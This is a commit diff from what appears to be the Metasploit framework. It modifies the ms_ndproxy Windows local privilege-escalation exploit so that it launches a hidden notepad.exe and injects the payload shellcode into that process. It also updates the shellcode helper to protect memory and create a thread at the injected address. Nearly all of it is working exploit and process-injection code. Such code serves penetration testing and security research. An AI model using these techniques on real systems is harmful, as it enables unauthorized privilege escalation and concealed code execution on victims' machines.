Skip to content

Commit 5c1ca97

Browse files
committed
Create a new process to host the final payload
1 parent eb4e3f8 commit 5c1ca97

File tree

2 files changed

+19
-7
lines changed

2 files changed

+19
-7
lines changed

lib/msf/core/post/windows/process.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -23,15 +23,17 @@ def execute_shellcode(shellcode, base_addr=nil, pid=nil)
2323
else
2424
shell_addr = host.memory.allocate(shellcode.length, nil, base_addr)
2525
end
26+
27+
host.memory.protect(shell_addr)
28+
2629
if host.memory.write(shell_addr, shellcode) < shellcode.length
2730
vprint_error("Failed to write shellcode")
2831
return false
2932
end
3033

3134
vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{pid.to_s})")
32-
ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, 0, nil)
33-
if ret['return'] < 1
34-
vprint_error("Unable to CreateThread")
35+
thread = host.thread.create(shell_addr,0)
36+
unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
3537
return false
3638
end
3739

modules/exploits/windows/local/ms_ndproxy.rb

Lines changed: 14 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99
class Metasploit3 < Msf::Exploit::Local
1010
Rank = AverageRanking
1111

12+
include Msf::Post::File
1213
include Msf::Post::Windows::Priv
1314
include Msf::Post::Windows::Process
1415

@@ -229,6 +230,14 @@ def fill_memory(proc, address, length, content)
229230
return address
230231
end
231232

233+
def create_proc
234+
windir = expand_path("%windir%")
235+
cmd = "#{windir}\\System32\\notepad.exe"
236+
# run hidden
237+
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
238+
return proc.pid
239+
end
240+
232241
def disclose_addresses(t)
233242
addresses = {}
234243

@@ -415,11 +424,12 @@ def exploit
415424
fail_with(Failure::Unknown, "The exploitation wasn't successful")
416425
end
417426

418-
print_good("Exploitation successful!")
419-
427+
print_good("Exploitation successful! Creating a new process and launching payload...")
428+
new_pid = create_proc
420429
p = payload.encoded
421-
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
422-
if execute_shellcode(p)
430+
431+
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
432+
if execute_shellcode(p, nil, new_pid)
423433
print_good("Enjoy")
424434
else
425435
fail_with(Failure::Unknown, "Error while executing the payload")

0 commit comments

Comments
 (0)